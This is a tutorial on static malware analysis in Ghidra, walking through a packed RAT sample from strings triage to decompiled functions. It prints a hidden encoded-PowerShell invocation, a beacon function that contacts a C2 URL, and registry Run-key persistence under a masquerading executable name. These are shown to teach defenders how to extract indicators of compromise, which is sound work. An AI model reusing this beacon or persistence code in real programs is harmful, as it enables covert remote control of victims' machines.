In 2025, the AsyncRAT campaign dropped payloads that looked like legitimate update binaries — signed, packed, and stripped of obvious indicators. Analysts who loaded those samples into Ghidra found the C2 address and persistence mechanism in under 20 minutes without ever running the malware. That is the power of static reverse engineering, and Ghidra is the tool that makes it accessible to anyone willing to sit with a disassembler.
Setting Up Ghidra and Loading Your First Sample
Ghidra is NSA’s open-source reverse engineering framework. It decompiles binaries into readable C-like pseudocode — which means you do not need to read raw assembly to understand what a program does. Download it from ghidra-sre.org, unzip it, and run ghidraRun from the terminal. Java 17+ is the only dependency.
Before you open any sample in Ghidra, run it through file and strings first. This gives you a baseline before the decompiler adds context.
$ file suspicious_update.exe
suspicious_update.exe: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
$ strings -n 8 suspicious_update.exe | grep -Ei 'http|cmd|power|reg|\\run'
http://192.0.2.47/gate.php
Software\Microsoft\Windows\CurrentVersion\Run
cmd.exe /c powershell -nop -w hidden -enc
Two things jump out immediately. First, UPX compressed means the binary is packed — the actual code is hidden inside a stub that unpacks at runtime. You will need to unpack it before Ghidra can decompile anything useful. Run upx -d suspicious_update.exe -o unpacked.exe to strip the packer. Second, those strings tell you everything: a hardcoded C2 IP, a registry persistence key, and a PowerShell execution pattern. Write them down. They become your analysis anchors.
Load unpacked.exe into Ghidra by creating a new project, clicking Import File, and letting the auto-analyzer run. Accept all defaults. Analysis takes 30–90 seconds depending on binary size.
Finding the C2 Beacon Function in the Decompiler
Once analysis finishes, open the Symbol Tree panel and look under Functions. Malware authors rarely strip every symbol. Search the Defined Strings window (Window → Defined Strings) for the IP you found earlier. Double-clicking the string jumps you to the memory address that references it — and from there, you right-click and select References → Show References to Address to find the function that actually uses it.
Here is what the Ghidra decompiler output looks like for a typical beacon function in this class of malware:
// Ghidra Decompiler Output — FUN_00401a30
void FUN_00401a30(void) {
HINTERNET hSession;
HINTERNET hConnect;
char szBuffer [256];
hSession = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hConnect = InternetOpenUrlA(
hSession,
"http://192.0.2.47/gate.php",
NULL, 0,
INTERNET_FLAG_RELOAD, 0);
InternetReadFile(hConnect, szBuffer, 0xff, &dwBytesRead);
// szBuffer passed to FUN_00401c10
FUN_00401c10(szBuffer);
return;
}
This is a textbook HTTP beacon. InternetOpenA initializes a WinINet session with a spoofed user-agent string. InternetOpenUrlA makes a GET request to the C2. The response lands in szBuffer and gets passed immediately to FUN_00401c10 — that is almost certainly the command dispatcher. Double-click FUN_00401c10 and follow the logic. You will typically find a string comparison chain that maps received commands like "shell", "download", or "screenshot" to execution branches.
Rename functions as you understand them. Right-click the function name in the decompiler and hit Rename Function. Call it beacon_to_c2 and the next one dispatch_command. Your future self will thank you when you are 40 functions deep.
Identifying Persistence Mechanisms
You already saw the registry key in the strings output. Now find the code that writes it. In the Defined Strings window, search for CurrentVersion\Run. Follow the reference into the function that calls it.
// Ghidra Decompiler Output — FUN_00402250
void FUN_00402250(void) {
HKEY hKey;
RegOpenKeyExA(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hKey);
RegSetValueExA(
hKey,
"WindowsSecurityUpdate",
0, REG_SZ,
"C:\\Users\\jmoore\\AppData\\Roaming\\svchost32.exe",
0x32);
RegCloseKey(hKey);
return;
}
The malware is writing itself to HKCU\...\Run under the key name WindowsSecurityUpdate, pointing at a dropped binary in jmoore‘s AppData folder named svchost32.exe — a classic masquerade. On a live incident, this tells your IR team exactly what registry key to delete and which file path to hunt across endpoints. In your threat intel report, this is a concrete host-based indicator of compromise.
What To Do Now
Pull a real sample from MalwareBazaar — search for tag asyncrat and download a recent PE. Run it through strings, unpack it if UPX-compressed, and load it into Ghidra. Your goal for the next hour: find one network function and one persistence function using the Defined Strings window as your entry point. Rename both functions before you close the project. That single habit — naming what you understand — is what separates a productive analysis session from a confusing one.
